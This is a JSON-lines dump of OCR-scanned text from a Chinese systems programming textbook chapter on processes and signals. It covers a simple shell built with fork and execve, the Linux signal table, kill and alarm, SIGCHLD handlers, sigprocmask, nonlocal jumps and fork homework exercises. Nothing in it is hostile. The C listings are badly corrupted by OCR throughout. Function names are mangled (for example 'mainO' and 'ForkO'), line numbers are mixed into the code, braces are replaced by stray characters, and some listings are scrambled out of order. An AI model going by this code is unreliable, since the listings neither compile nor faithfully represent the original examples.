    {"text": "例如： 皿ix> ./myecho argl arg2 Command line arguments: argv[ 0]: myecho argv[ 1]: argl argv[ 2] : arg2 Environment variables: envp[ 0]: PWD=/usrO/droh/ics/code/ecf envp [ 1]: TERM=emacs envp[25]: USER=droh envp[26]: SHELL=/usr/local/bin/tcsh envp[27]: H0ME=/usr0/droh 利用 fork 和 execve 运行程序 像Unix外壳和Web服务器（第11章）这样的程序大量使用了 fork和execve函数。"},
    {"text": "code/ecf/shellex. c ■1 #include \"csapp.h\" 2 #define MAXARGS 128 3 4 /* Function prototypes */ 5 void eval(char *cmdline) ; 6 int parseline(char *buf, char **axgv) ; 7 int bui11in.command(char **argv); 8 9 int mainO 1 char cmdline[MAXLINE]; /氺 Command line */ 12 13 while (1) { \\4 /* Read */ 15 printf (\"> \"); 16 Fgets(cmdline, MAXLINE, stdin); 17 if (feof(stdin)) 18 i o exit(0); ( y 20 /* Evaluate */ 21 eval(cmdline); 22 > 23 ] h 图8-22 —个简单的外壳程序的main例程 ;' . 图8-23展示了对命令求值的代码。"},
    {"text": "第一个 参数被假设为要么是一个内置的外壳命令名，马上就会解释这个命令，要么是一个可执行目标文 件，会在一个新的子进程的上下文中加载并运行这个文件。"},
    {"text": "如果最后一个参数是“&”字符，那么parseline返回1,表示应该在后台执行该程序 (外壳不会等待它完成)，否则它返回0,表示应该 在前台 执行这个程序（外壳会等待它完成）。"},
    {"text": "code/ecf/shellex. c /* eval 一 Evaluate a command line */ void eval(char *cmdline)\n4 5 6 7 9 10 11 12 13 14 15 16 17 18 19 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 char *argv[MAXARGS]; /木 Argument list execve () */ char buf [MAXLINE] ; /* Holds modified comiriand line */ int bg; /* Sliould the job run in bg or fg? */ pid_t pid; /* Process id */ strcpy(buf, cmdline); bg = parseline(buf, argv); if (argvCO] == NULL) return; /本 Ignore empty lines */ (!buiItin_command(argv)) { if ((pid = ForkO) == 0) { /*■ Child runs user job */ if (execve(argv[0], argv, environ) < 0) { printf(\"%s: Command not found An\", argv[0]); exit(0); > * f rS A/ •! if Parent waits for foreground job to terminate */ (!bg) { int status; if (waitpid(pid, festatus, 0) < 0) > else } return; unix^error( H waitfg: waitpid error\"); printf(\"%d %s\", pid, cmdline); /氺 If first arg is a builtin command, int builtin.command(char **argv) if (!strcmp(argv[0], \"quit\")) /* quit command */ exit(0); if (!strcmp(argv[0], \"&\")) /* Ignore singleton k */ return 1; return 0; /* Not a builtin command */ code/ecf/shellex. c it and return true */ 图8-23 eval ：对外壳命令行求值\ncode/ecf/shellex. c 1 /* parseline - Parse the command line and build th.e argv array */ 2 int parseline(char *buf, char **argv) s . 4 U ■ char *delim; , /* Points to first space delimiter */ 5 int argc; /* Number of args */ 6 7 int bg; /* Background job? */ / 8 buf [strlen(buf)-1] = ' '; /* Replace trailing 1 \\n' with space 9 while (*buf && (*buf == ' •)) /* Ignore leading spaces */ 10 buf++; 11 12 /* Build the argv list */ 13 argc = 0; 14 while ((delim = strchr(buf,' •))) { 15 argv[argc++] = buf; 16 ♦delim = '\\0'; 17 buf = delim + 1; 18 while (*buf && (*buf == • '))/* Ignore spaces */ 19 buf++; '20 > 21 argv[argc] = NULL; 22 23 if (argc == 0) /* Ignore blank line */ 24 return 1; 25 26 /氺 Should the job run in the background? */ 27 if ((bg = C*argv[argc-1] =='&')) != 0) 28 argv [__ argc] = NULL ; 29 30 return bg; 31 } code/ecf/shellex. c 图8-24 parseline ：解析外壳的一个输入行 如果builtin_command返回0,那么外壳创瑋一个子进程，并在子进程中执行所请求的 程序。"},
    {"text": "序号 名称 默认行为 相应事件• 1 SIGHUP 终止 终端线挂断 2 SIGINT 终止 来自键盘的中断 ^ 3 SIGQUIT 终止 来自键盘的退出 4 SIGILL 终止 非法指令 5 SIGTRAP 终止并转储存储器（1) 跟踪陷阱 6 SIGABRT 终止并转储存储器（1) 来自abort函数的终止信号 7 SIGBUS 终止 总线错误 8 SIGFPE 终止并转储存储器(1) 浮点异常 9 SIGKILL 终止（2) 杀死程序 10 SIGUSR1 终止 用户定义的信号1 11 SIGSEGV 终止并转储存储器(1) 无效的存储器引用（段故障） 12 SIGUSR2 终止 用户定义的信号2 13 SIGPIPE 终止 向一个没有读用户的管道做写操作 14 SIGALRM 终止 来自alarm函数的定时器信号 .15 SIGTERM 终止 软件终止信号 16 SIGSTKFLT 终止 协处理器上的栈故障 17 SIGCHLD 忽略 一个子进程停止或者终止 18 SIGCONT 忽略 继续进程如果该进程停止 19 SIGSTOP 停止直到下一个SIGC0NT(2) 不来自终端的停止信号 20 SIGTSTP 停止直到下一个SIGCONT 来自终端的停止信号 21 SIGTTIN 停止直到下一个SIGCONT 后台进程从终端读 22 SIGTTOU 停止直到下一个SIGCONT 后台进程向终端写 23 SIGURG 忽略 套接字上的紧急情况 24 SIGXCPU 终止 CPU时间限制超出 25 SIGXFSZ 终止 文件大小限制超出 26 SIGVTALRM 终止 虚拟定时器期满 27 SIGPROF 终止 * 剖析定时器期满 28 SIGWINCH 忽略 窗口大小变化 29 SIGIO 终止 在某个描述符上可执行I/o操作 30 SIGPWR 终止 电源故障 图 8-25 Linux 信号 注： 1) 多年前，主存储器是用一种称为磁芯存储器 （core memory) 的技术来实现的。"},
    {"text": "比 如，如果一个进程试图除以0,那么内核就发送给它一个SIGFPE信号（序号8)。 如果一个进程 执行一条非法指令，那么内核就发送给它一个SIGILL信号（序号4)。 如果进程进行非法存储 器引用，内核就发送给它一个SIGSEGV信号（序号11)。"},
    {"text": "比如，如果当进程在前台运行时，你键入ctrl-c (也就是同时按下 Ctrl键和c键)，那么内核就会发送一个SIGINT信号（序号2)给这个前台进程。"},
    {"text": "内核通过更新目的进程上下文中的某个状态， 发送（递送 ） 一个 信号给目的进 程。 发送信号可以有如下两个原因：1) 内核裣 测到一个系统事件，比如被零除错误或者 子进程终止。 2) —个进程调用了 kill函数（在下一节中讨论)，显式地要求内核发送一\n(2)控制传递到 信号处理程序 (1)进程接 收到信号 Inexl (3)信号处 理程序运行 (4)信号处理程序 返回到下一条指令 图8，26信号处理。"},
    {"text": "接收到信号会触发控制转移到信号处理程 序。 在信号处理程序完成处理之后，它将控制返回给 被中断的程序 个信号给目的进程。 一个进程可以发送信号给它自己。 • 接收信号。 当目的进程被内核强迫以某种方式对信号的发送做出反应时，目的进程就接 收了 信号。"},
    {"text": "一个只发出而没有被接收的信 号叫做待处理信号 （pending signal)。 在任何时刻，一种类型至多只会有 一个 待处理信号。 如 果一个 进程有 一个类型为A的待处理信号，那么 任何接下来发送到这个进程的类型 为灸的信号都不会排队等待，它们只 是被简单地丢弃。"},
    {"text": "一个进程可以有 选择性地 阻塞接 收某种信号。 当一 种信号被阻塞时，它仍可以被发送， 但是产生的待处理信号不会被接收， 直到进程取消对这种信号的阻塞。"},
    {"text": "一个进程可以通过使用 setpgid 函 数来改变自己或者其他进程的进程组： #include <unistd.h> int setpgid(pid_t pid, pid_t pgid); 返回：若成功则为 0 ，若错误则为一 1 。 setpgid函数将进程pid的进程组改为pgid。"},
    {"text": "如果pid是0,那么就使用当前进程的PID。 如果pgid是0,那么就用pid指定的进程的PID作为进程组ID。 例如，如果进程15213是调 用进程，那么\nsetpgid(0, 0); 会创建一个新的进程组，其进程组ID是15213,并且把进程15213加入到这个新的进程组中。"},
    {"text": "用 /bin/kill 程序发送信号 /bin/kill程序可以向另外的进程发送任意的信号。 比如，命令 unix> /bin/kill -9 15213 发送信号9 (SIGKILL)给进程15213。"},
    {"text": "比如，键入 unix> Is I sort 创建一个由两个进程组成的前台作业，这两个进程是通过Unix管道连接起来的：一个进程运行 Is程序，另一个运行sort程序。"},
    {"text": "图8-27前台和后台进程组 在键盘上输入ctrl-c会导致一个SIGINT信号被发送到外壳。 外壳捕获该信号（参见 8.5.3节)，然后发送SIGINT信号到这个前台进程组中的每个进程。"},
    {"text": "用kill函数发送信号 进程通过调用kill函数发送信号给其他进程（包括它们自己)。 如果pid大于零，那么kill函数发送信号sig给进程pid。 如果pid小于零，那么 kill发送信号sig给进程组abs (pid)中的每个进程。"},
    {"text": "code/ecf/kill.c 1 2 3 4 5 6 7 9 0 1 2 3 4 5 7 #include \"csapp.h\" int mainO pid_t pid; /* Child sleeps until SIGKILL signal received, then dies */ if ((pid = ForkO) == 0) i Pause (); /* Wait for a signal to arrive */ printf(\"control should never reach here!\\n\"); exit(0); } /* Parent sends a SIGKILL signal to a child 氺/ Kill(pid, SIGKILL); exit(0); > code/ecf/killc 图8-28使用kill函数发送信号给子进程 用alarm函数发送信号 进程可以通过调用alarm函数向它自己发送SIGALRM信号。"},
    {"text": "在任何情况下，对alarm的调用都将取消任何待处理的 (pending)闹钟，并且返回任何待处理的闹钟在被发送前还剩下的秒数（如果这次对alarm的 调用没有取消它的话)，如果没有任何待处理的闹钟，就返回零。"},
    {"text": "当我们运行图8-29中的程序时，我们得到以 下的输出：5秒内每秒一个“BEEP”，后面跟随着程序终止时的一个“BOOM”： unix> ./alarm BEEP BEEP BEEP BEEP BEEP BOOM! 注意， 图 8-29中的程序使用signal函数设置了一个 信号处 理函数（handler),只要进 程收到一个SIGALRM信号，就异步地调用该函数，中断main程序中的无限while循环。"},
    {"text": "code/ecf/alarm.c #include \"csapp.h\" void handler(int sig) static int beeps = 0; printf(\"BEEPXn\")； if (++beeps < 5) Alarm(1); /* Next SIGALRM will be delivered in 1 second */ else { printf(\"BOOM!\\n\"); exit(0); > > int mainO { Signal(SIGALRM, handler); /* Install SIGALRM handler */ Alarm(l); /* Next SIGALRM will be delivered in Is */ while (1) { ; /* Signal handler returns control here each time */ } exit(0); y code/ecf/alarm. c 图 8-29 使用 alarm 函数来调度周期性事件 接收信号 当内核从一个异常处理程序返回，准备将控制传递给进程/7时，它会检査进程/7的未被阻塞 的待处理信号的集合（pending^〜blocked)。"},
    {"text": "如果这个集合为空（通常情况下)，那么内核将 控制传递到;7的逻辑控制流中的下一条指令U next )。 然而，如果集合是非空的，那么内核选择集合中的某个信号A (通常是最小的并且强制 /7接收信号A:。"},
    {"text": "#include <signal.h> typedef void (*sighandler_t)(int); sighandler_t signal(int signum, sighandler_t handler); 返回：若成功则为指向前次处理程序的指针，若出错则为 SIG_ERR ( 不设置 ermo )。"},
    {"text": "signal函数可以通过下列三种方法之一来改变和信号signum相关联的行为： •如果handler是SIG_IGN,那么忽略类型为signum的信号。 •如果handler是SIG_DFL,那么类型为signum的信号行为恢复为默认行为。 •否则 ， handler就是用户定义的函数的地址 ， 这个函数称为 信号处理程序 （signal handler),只要进程接收到一个类型为sigmim的信号 ， 就会调用这个程序。 通过把处理 程序的地址传递到signal函数 从而改 变默认行为， 这叫做设置信号处理程序 （installing the handler) 0 调用信号处理程序称 为捕获信号。"},
    {"text": "当 一个进 程捕获 了一个 类型为A的信号时，为信号A设置的处理程序被调用， 一个 整数参数被设 置为 k 0 这个参数允许同一个处理函数捕获不同类型的信号。"},
    {"text": "： code/ecf/sigintl.c '1 #include \"csapp.h\" 2 void handler(int sig) /* SIGINT handler */ printf(\"Caught SIGINT\\n\"); exit(0); } 8 int mainO 10 { /* Install the SIGINT handler */ if (signal(SIGINT, handler) == SIG_ERR) unix_error(\"signal error\"); 14 pause(); /* Wait for the receipt of a signal */ 16 exit(0); > code/ecf/sigintl. c 图8-30 —个用信号处理程序捕获SIGINT信号的程序 处理程序函数定义在第3〜7行中。"},
    {"text": "练习题8.7编写一个叫做snooze的程序，有一个命令行参数，用这个参数调用练习题8.5中的snooze 函数，然后终止。 编写程序，使得用户可以通过在键盘上输入Ctrl-c中断snooze函数。"},
    {"text": "比如： unix> . /snooze 5 Slept for 3 of 5 secs. User hits crtl-c after 3 seconds 皿ix> 信号处理问题 对于只捕获一个信号并终止的程序来说，信号处理是简单直接的。"},
    {"text": "因此，如果有两个类型为 A的信号传送到一个目的进程，而由于目的进程当前正在执行信号的处理程序，所以信 号A是阻塞的，那么第二个信号就被简单地丢弃，它不会排队等待。"},
    {"text": "在某些系统中，当处理程序捕获到一个信号时，被中断 的慢速系统调用在信号处理程序返回时不再继续，而是立即返回给用户一个错误条件，并 将errno设置为EINTR。"},
    {"text": "当每个子进程终止时 ， 内核通过发送一个 SIGCHLD信号通知父进程。 父进程捕获这个SIGCHLD信号，回收一个子进程，做一些其他的 清除工作（模型化为sleep (2)语句)，然后返回。"},
    {"text": "然而，当在Linux系统上运行它时，我们得到 如下输出： linux> ./signall Hello from child 10320 Hello from child 10321\nHello from child 10322 Handler reaped child 10320 Handler reaped child 10322 <cr> Parent processing input\ncode/ecf/signall . c\n#include \"csapp.h\" void handler1(int sig) pid_t pid; if ((pid = waitpid(-1, NULL, 0)) unix_error(\"waitpid error\"); printf C\"Handler reaped child %d\\n\", (int)pid); Sleep(2); return; < 0) int mainO\nint i, n; Char buf[MAXBUF]; if (sighaKSIGCHLD, handler 1) := SIG_ERR) ufiix一社ror (\" signal error ); 、 /* Parent creates children */ _ for (i = 0; i < 3; i++) i if (ForkO =: 0) { printf(\"Hello from child %d\\n\", (int)getpid()); Sleep(1); exit(0); > if > Parent waits for terminal input and then processes it */ ((n = read(STDIN_FILENQ, buf, sizeof(buf))) < 0) unix_error(\"read\"); printf(\"Parent processing input\\n\"); while (1) exit(0); : code/ecf/signall. c 图8-31 signall :这个程序是有缺陷的，因为它无法处理信号阻塞、信号不排队等待和系统调用被 中断这些情况 从输出中我们注意到，尽管发送了 3个SIGCHLD信号给父进程，但是其中只有两个信号被接收 了，因此父进程只是回收了两个子进程。"},
    {"text": "如果挂起父进程，我们看到，实际上子进程10321没有 被回收，而是成为了一个僵死进程（在 ps 命令的输出中由字符串 “defunct” 表示）：\n<ctrl-z> Suspended linux> ps PID TTY STAT TIME COMMAND 10319 p5 T 0:03 signal1 10321 p5 Z 0:00 signal1 〈defunct〉 10323 p5 R 0:00 ps 哪里出错了呢？"},
    {"text": "一段时间之后， 处理程序返回，内核注意到有一个待处理的SIGCHLD信号，就迫使父进程接收这个信号。 父进 程捕获这个信号，并第二次执行处理程序。"},
    {"text": "在处理程序完成对第二个信号的处理之后，已经没有 待处理的SIGCHLD信号了，而且也绝不会再有，因为第三个SIGCHLD的所有信息都已经丢失 了。"},
    {"text": "为了修正这个问题，我们必须回想一下，存在一个待处理的信号只是暗示自进程最后一次收 到一个信号以来，至少已经有一个这种类型的信号被发送了。"},
    {"text": "当我们在Linux系统上运行signal2时，它现在可以正确地回收 所有的僵死子进程了： linux> ./signal2 Hello from child 10378 Hello from child 10379 Hello from child 10380 Handler reaped child 10379 Handler reaped child 10378 Handler reaped child 10380 <cr> Parent processing input 然而，我们还没有完成任务。"},
    {"text": "然而现在，在从键盘上进行输入之前，被阻塞的 read系统调用就提前返回一个错误： solaris> ./signal2 Hello from child 18906 Hello from child 18907 Hello from child 18908 Handler reaped child 18906 Handler reaped child 18908 Handler reaped child 18907 read: Interrupted system call\ncode/ecf/signal2. c 1 #include \"csapp.h\" 2 3 A void handler2(int sig) J* 5 f、 \\ pid_t pid; 0 7 while ((pid = waitpid(-1, NULL, 0)) >0) 8 printf(\"Handler reaped child %d\\n\", (int)pid); 9 if (errno != ECHILD) 10 miix_error(\"waitpid error\"); 11 Sleep (2); 12 13 return ; } \\A 15 1 /C int mainO I I o 17 X int i, n; 18 1 o char buf[MAXBUF]; I y 20 if (signal(SIGCHLD, handler2) == SIG_ERR) 21 unix_error(\"signal error\"); 22 23 /* Parent creates children 氺/ 24 for (i = 0; i < 3; i++) { 25 if (ForkO == 0) { 26 printf (\"Hello from child %d\\n\" , (int)getpidO) 27 Sleep(1) ; 28 exit(0); 29 } 30 > 31 32 /* Parent waits for terminal input and then processes : Yi if ((n = read(STDIN_FILEN0, buf, sizeof(buf ))) < 0) 34 unix_error C \" read error\") ; 35 36 printf(\"Parent processing input\\n M ) ; 37 while (1) 38 9 39 40 exit(0) ; 41 > code/ecf/signal2. c 图8-32 signal:图8-31的一个改进版本，它能够正确解决信号会阻塞和不会排队等待的情况。"},
    {"text": "然而，它没有考虑系统调用被中断的可能性 为了编写可移植的信号处理代码，我们必须考虑系统调用过早返回的可能性，然后当它发 生时手动重启它们。"},
    {"text": "当我们在一台Solaris系统上运行新的signal3程序时，程序会正确运行： solaris> ,/signal3 Hello from child 19571 Hello from child 19572 Hello from child 19573\nHandler reaped child 19571 Handler reaped child 19572 Handler reaped child 19573 <cr> Parent processing input\ncode/ecf/signal3. c\n1 2 3 4 5 6 7 9 0 1 2 3 14 15 •17 18 19 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 0) (int)pid); SIG 一 ERR) child %d\\n\", (int)getpid0); /* Manually restart the read call if it is interrupted */ While ((n = read(STDIN_FILENO, buf, sizeof(buf))) < 0) if (errno != EINTR) unix—error(\"read error\"); printf(\"Parent processing input\\n\"); while (1) #include \"csapp.h\" void handler2(int sig) pid_t pid; while ((pid = waitpid(-1, NULL, 0)) > printf (\"Handler reaped child 7 0 d\\n' if (errno != ECHILD) unix_error(\"waitpid error\"); Sleep(2); return; /* Parent creates children for (i = 0; i < 3; i++) •[ pid = ForkO; if (pid =- 0) { printf(\"Hello from Sleep(1); exit(0); > } if (signal(SIGCHLD, handler2) « 皿ix一error(\"signal error\"); int mainO { int i, n; char buf[MAXBUF]; pid_t pid; exit(O);\ncode/ecf/signal3. c 图 8-33 signal 3 : 图 8-32 的一个改进版本，它正确地解决了系统调用可能被中断的情况 @ 练习题 8.8 下面这个程序的输出是什么？ code/ecf/signalprobO. c pid_t pid; int counter = 2; 3 void handler1(int sig) { counter = counter - 1; printf(\"%d\", counter); fflush(stdout); exit(0); > 10 vi int mainO { signal(SIGUSR1, handler1); % 13 printf (\"°/ 0 d M , counter); fflush(stdout); 16 '17 if ((pid = fork()) == 0) { while(l) {>; > kill(pid, SIGUSR1); waitpid(-1, NULL, 0); counter = counter + 1; printf(\"%d\", counter); exit(0); > code/ecf/signalprobO. c 8.5.5可移植的信号处理 不同系统之间，信号处理语义的差异（比如一个被中断的慢速系统调用是重启还是永久放弃) 是Unix信号处理的一个缺陷。"},
    {"text": "） code/src/csapp.c handler_t *Signal(int signum, handler_t *handler) { struct sigaction action, old_action; 4 action.sa_handler = handler; sigemptyset(ftaction.sa_mask); /* Block sigs of type being handled */ action. sa_flags = SA_RESTART; /* Restart syscalls if possible */ 8 if (sigaction(signum, &action, &old_action) < 0) unix_error(\"Signal error\"); return (old_action.sa_handler); > code/src/csapp.c 图8-34 Signal ： sigaction的一个包装函数，它提供在Posix兼容系统上的可移植的信号处理 图8“35展示了图8-32中signal2程序的一个版本，该版本使用Signal包装函数在不 同的计算机系统上获得可预测的信号处理语义。"},
    {"text": "8.5.6 显式地阻塞和取消阻塞信号 应用程序可以使用sigprocmask函数显式地阻塞和取消阻塞选择的信号： #include <signal.h> int sigprocmask(int how, const sigset_t *set, sigset_t *oldset); int sigemptyset(sigset_t *set); int sigfillset(sigset_t *set); int sigaddset(sigset_t *set, int signum); int sigdelset(sigset_t *set, int signum); 返回：如果成功则为 0, 若出错则为一 1 。"},
    {"text": "具 体的行为依赖于how的值： SIG_BLOCK :添加 set 中的信号到 blocked 中（blocked = blocked 丨 set)。 SIG__UNBLOCK ：从 blocked 中删除 set 中的信号（blocked = blocked & 〜set)。 SIG一SETMASK ： blocked = set。"},
    {"text": "code/ecf/signal4. c 6 7 9 10 11 12 13 14 15 16 17 18 19 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 #include \"csapp.h\" void handler2(int sig) pid_t pid; while ((pid = waitpid(-l, NULL, 0)) > 0) printf(\"Handler reaped child %d\\n\", (int)pid); if (errno != ECHILD) unix_error(\"waitpid error\"); Sleep(2); return; } int mainO int i, n; char buf[MAXBUF]; pid_t pid; Signal(SIGCHLD, handler2); / 6 sigaction error-handling wrapper */ /* Parent creates children */ for (i = 0; i < 3; i++) { pid = ForkO; if (pid == 0) { printf(\"Hello from child %d\\n\", (int)getpid()); Sleep(1); exit(0); > > /* Parent waits for terminal input and then processes it */ if ((n = read(STDIN_FILEN0, buf, sizeof(buf))) < 0) unix_error(\"read error\"); printf(\"Parent processing input\\n\"); while (1) t exit(0); void handler(int sig) - code/ecf/procmaskl . c pid_t pid; while ((pid = waitpid(-l, NULL, 0)) >0) /* Reap a zombie child 木 / deletejob(pid); /* Delete the child from the job list */ if (errno != ECHILD) unix_error(\"waitpid error\"); main(int argc, char **argv) int pid; Signal(SIGCHLD, handler); initjobsO; /*■ Initialize the job list */. while (1) { 卜 Child process */ if ((pid = ForkO) == 0) { Execve(\"/bin/date\", argv, NULL); > /* Parent process */ add j ob (pid) ; ./ * Add the child to the job list */ > ^ exit(0); 图8-37展示了消除图8-36中的竞争的一种方法。"},
    {"text": "通过在调用fork之前，阻塞SIGCHLD 信号，然后在我们调用了 add job之后就取消阻塞这些信号，我们保证了在子进程被添加到作 业列表中之后回收该子进程。 注意，子进程继承了它们父进程的被阻塞集合，所以我们必须在调 用execve之前，小心地解除子进程中阻塞的SIGCHLD信号。"},
    {"text": "code/ecf/procmask2. c void handler(int sig) 3 4 5 6 7 9 10 n .12 13 15 16 17 18 19 21 22 23 pid_t pid; while ((pid = waitpid(-1, NULL, 0)) >0) /* Reap a zombie child */ deletejob(pid );卜 Delete the child from the job list; */ if (errno != ECHILD) unix_error ( 11 waitpid error\"); int main(int argc, char **argv) int pid; sigset_t mask; Signal(SIGCHLD, handler); initjobsO; /* Initialize the job list */ while (1) i • • SigemptysetC&mask); Sigaddset(femask, SIGCHLD); Sigprocmask(SIG.BLOCK, &mask, NULL); /* Block SIGCHLD */ /* Child process if ((pid = ForkO) == 0) { Sigprocmask(SIG_UNBL0CK, &mask, NULL); /* Unblock SIGCHLD */ 26 27 28 29 30 31 32 Execve(\"/bin/date\", argv, NULL); > /* Parent process */ addjob(pid); /* Add the child to the job list 木 / Sigprocmask(SIG_UNBL0CK, &mask, NULL); /* Unblock SIGCHLD */ > exit(0); } code/ecf/procmask2. c 图8-37用sigprocmask来同步进程。"},
    {"text": "在这个例子中，父进程保证在相应的delete job之前执行add job 一个暴露你的代码中竞争的简便技巧 像图 8-36 中那样的竞争很难以发现，因为它们依赖于与内核相关的调度决策。"},
    {"text": "code/ecf/rfork. c 1 #include <stdio.h> 2 #include <stdlib.h> 3 #include <unistd.h> 4 #include <sys/time.h> 5 6. #include <sys/types.li> 7 h Sleep for a random period between [0, MAX„SLEEP] us. */ 8 9 10 #define MAX.SLEEP 100000 h Macro that maps val into the range [0，RMD„MAX] */ 11 #define CONVERT(val) (( (double)val) / (double)RAND.MAX) \\ 4L 13 1 A pid_t Fork(void) f 1 is \\ static struct timeval time; 16 unsigned bool, secs; 17 18 pid_t pid; 19 /* Generate a different seed each time the function is called.*/ 20 gettimeofday (&time , NULL) ; 21 srand(time.tv_usec); 22 23 /* Determine whether to sleep i.B. parent of ciiild and. for how long ■ 24 bool = (unsigned) (CONVERT(randO) + 0.5); 25 secs = (unsigned) (CONVERT(randO) * MAX_SLEEP); 26 1 ' ( 27 /* Call the real fork function +•/ 28 if ((pid = forkO) < 0) 29 return pid; 30 31 /* Randomly decide to sleep in the parent or. the child 32 if (pid == 0) { /* Child */ 33 if(bool) { 34 usleep(secs) ; 35 > 36 > 37 else { /* Parent */ 38 if ( Ibool) { 39 usleep(secs) ; 40 } 41 > 42 43 /* Return th.e PID like a normal fork call */ 44 return pid; 45 > : ；"},
    {"text": "父进程和子进程扔一枚 硬币来决定谁会休眠，因而给另一个进程被调度的机会 8.6 非本地跳转 c语言提供了一种用户级异常控制流形式，称 为非本地跳转 （nonlocaljump),它将控制直 接从一个函数转移到另一个当前正在执行的函数，而不需要经过正常的调用-返回序列。"},
    {"text": "#include <setjmp.h> int setjmp(jmp_buf env); int sigsetjmp(sigjmp_buf env, int savesigs); 返回： setjmp 返回 0, longjmp 返回非零。"},
    {"text": "调 #include <setjmp.h> void 1ongj mp(j mp_buf env, int retval); void siglongjmp(sigjmp_buf env, int retval); 从不返回。"},
    {"text": "非本地跳转的一个重要应用就是允许从一个深层嵌套的函数调用中立即返回，通常是由检测 到某个错误情况引起的。 如果在一个深层嵌套的函数调用中发现了一个错误，我们可以使用非本 地跳转直接返回到一个普通的本地化的错误处理程序，而不是费力地解开调用栈。"},
    {"text": "不是从信号处理程序返回， 如果是这样信号处理程序会将控制返回给被中断的处理循环，反之，处理程序执行一个非本地跳 转，回到主函数的开始处。"},
    {"text": "当我们在系统上运行这个程序时，得到以下输出： unix> ./restart starting processing... processing... restarting Usex- hits ctrl~c processing… restarting User hits ctrl-c processing...\ncode/ecf/setjmp. c\n#include \"csapp.h\" jmp.buf buf;\nint error1 int error2 0；"},
    {"text": "void foo(void), bar(void); int mainO int rc; in foo\\n\"); in foo\\n\"); rc = setjmp(buf); if (rc == 0) foo(); else if (rc == 1) condition condition printf(\"Detected an error1 else if (rc == 2) printf(\"Detected an error2 else printf(\"Unknown error condition in foo\\n\"); exit(0); > /* Deeply nested function foo */ void foo(void) if (errorl) longjmp(buf, 1); bar();\nvoid bar(void) if (error2) longjmp(buf, 2); code/ecf/setjmp. c 图8-39非本地跳转的示例。"},
    {"text": "这个示例表明了使用非本地跳转来从深层嵌套的函数调用中的错误情况 恢复，而不需要解开整个栈的基本框架 C++ 和 Java 中的软件异常 C++ 和 Java 提供的异常机制是较高层次的，是 C 语言的 set jmp 和 longjmp 函数的更加 结构化的版本。"},
    {"text": "code/ecf/restart. c #include \"csapp.h\" sigjmp_buf buf; void handler(int sig) { siglongjmp(buf, 1); > int main() { Signal(SIGINT, handler); if (!sigsetjmp(buf, 1)) printf(\"starting\\n\"); else printf(\"restarting\\n\"); while(1) { Sleep(1); printf(\"processing.. An\"); > exit(O); code/ecf/restart. c 图8-40 —个当用户键入ctrl-c时，使用非本地跳转来重启动它自身的程序 8.7 操作进程的工具 Linux系统提供了大量的监控和操作进程的有用工具： STRACE ：打印一个正在运行的程序和它的子进程调用的每个系统调用的轨迹。"},
    {"text": "进程提供给应用两个重要的抽象：1)逻 辑控制流，它提供给每个程序一 个假象， 好像它是在独占地使用处理器，2)私有地址空间 ， 它 提供给每个程序一个假象，好像它是在独占地使用主存。"},
    {"text": "在操作系统和应用程序之间的接口处，应用程序可以创建子进程，等待它们的子进程停止或 者终止，运行新的程序，以及捕获来自其他进程的信号。"},
    {"text": "家庭作业 *8.9考虑四个具有如下开始和结束时间的进程： 进程 开始时间 结束时间 A 5 7 B 2 4 C 3 6 D 1 8 对于每对进程，指明它们是否是并发地运行的： 进程对 并发地？"},
    {"text": "*8.11这个程序会输出多少个“hello”输出行？ code/ecf/forkprobl . c #include \"csapp.h\" 2 3 int mainO\nint i; for (i = 0; i < 2; i++) ForkOj printf( \"hello\\n\" ); exit(0); 7 9 10 11 code/ecf/forkprobl. c 8.12这个程序会输出多少个“hello”输出行？"},
    {"text": "code/ecf/forkprob4. c #include \"csapp.h\" void doit () ForkO ； ForkO; printf(\"helloXn\"); return; 1 2 3 4 5 6 7 9 10 11 •12 13 1-4 15 16 int mainO { doitO; printf(\"hello\\n\"); exit(0); • code/ecf/forkprob4. c 8.13下面程序的一种可能的输出是什么？ ■ code/ecf/forkprob3. c #include \"csapp.h\" 1 2 3 A 5 6 7 9 10 11 int mainO 3; int if (ForkO != 0) printf(\"x=%d\\n\", ++x); printf( \"x=%d\\n”， __x); exit(0); ■ code/ecf/forkprob3. c 8.14下面这个程序会输出多少个“hello”输出行？ ■ code/ecf/forkprob5.c 1 #include \"csapp.h\" void doitO { if (ForkO : ForkO ； 0) {\nprintf(\"hello\\n\"); exit(O); > return; int mainO doit(); printf (\"helloXii\"); exit(O ); ■ code/ecf/forkprob5. c 8.15 下面这个程序会输出多少个 “hello” 输出行？ ■ code/ecf/forkprob6. c #include \"csapp.h\" void doit () if (ForkQ == 0) { ForkO; printf(\"hello\\n\"); return; } return; > int mainO doit (); printf(\"hello\\n\")；"},
    {"text": "■ code/ecf/forkprob 7. c #include \"csapp.h\" int counter = 1; int mainO if (fork() == 0) { counter--; exit(0); > * else { Wait(NULL); printf(\"counter > exit(0); %d\\n\", ++counter); ■ code/ecf/forkprob 7. c\n列举练习题8.4中程序所有可能的输出。 *8.17 **8.18 考虑下面的程序： code/ecf/forkprob2.c\n#include \"csapp.h\" void end(void) { printf(\"2\"); } int mainO -C if (ForkO == 0) atexit(end); if (ForkO == 0) printf(\"0\"); else printf(\"1\"); exit(0); 1 2 3 4 5 6 7 9 10 11 12 13 .15 16 17\n■ code/ecf/forkprob2. c 判断下面哪个输出是可能的。"},
    {"text": "code/ecf/forkprob8,c void foo(int n) int i; for (i = 0; i < n; i++) ForkO ; printf(\"hello\\n\"); exit(0); code/ecf/forkprob8. c **8.20 使用execve编写一个叫做myls的程序，该程序的行为和/bin/ls程序的一样。"},
    {"text": "因此，你可以通过把 COLUMNS 环境设置得小于 80, 来检查你对环境变量的处理 ： unix> setenv COLUMNS 40 皿 ix> ./myls ...output is 40 columns wide unix> unsetenv COLUMNS 皿 ix> ./myls ...output is now 80 columns wide\n下面程序的可能的输出序列是什么？"},
    {"text": "**8.21 code/ecf/waitprob3. c 2 3 4 5 6 7 9 10 11 12 13 int mainO if (forkO == 0) { printf(\"a\"); exit(0); > else -[ printf(\"b\"); waitpid(-l, NULL, 0); } printf(\"c\"); exit(0); code/ecf/waitprob3. c\nV8.22 **8.23 V 8.24 V8.25 tt 8.26 编写Unix system 函数的你自己的版本 int mysystem(char *command); mysystem函数通过调用“/bin/sh-c command”来执行command,然后在command完成后返 回。"},
